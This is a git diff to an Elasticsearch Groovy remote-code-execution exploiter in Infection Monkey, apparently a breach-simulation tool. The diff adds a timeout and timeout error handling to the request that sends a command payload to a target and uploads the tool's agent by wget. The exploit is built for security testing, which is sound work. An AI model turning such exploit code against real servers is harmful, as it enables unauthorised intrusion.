diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py
index 2de001ba3..faa6681b4 100644
--- a/monkey/infection_monkey/exploit/elasticgroovy.py
+++ b/monkey/infection_monkey/exploit/elasticgroovy.py
@@ -8,7 +8,8 @@ import json
 import logging
 import requests
 from infection_monkey.exploit.web_rce import WebRCE
-from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX
+from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
+    DOWNLOAD_TIMEOUT
 from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
 
 import re
@@ -47,7 +48,11 @@ class ElasticGroovyExploiter(WebRCE):
     def exploit(self, url, command):
         command = re.sub(r"\\", r"\\\\\\\\", command)
         payload = self.JAVA_CMD % command
-        response = requests.get(url, data=payload)
+        try:
+            response = requests.get(url, data=payload, timeout=DOWNLOAD_TIMEOUT)
+        except requests.ReadTimeout:
+            LOG.error("Elastic couldn't upload monkey, because server didn't respond to upload request.")
+            return False
         result = self.get_results(response)
         if not result:
             return False
@@ -79,4 +84,4 @@ class ElasticGroovyExploiter(WebRCE):
                 return False
         except Exception as e:
             LOG.error("Host's exploitability check failed due to: %s" % e)
-            return False
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+            return False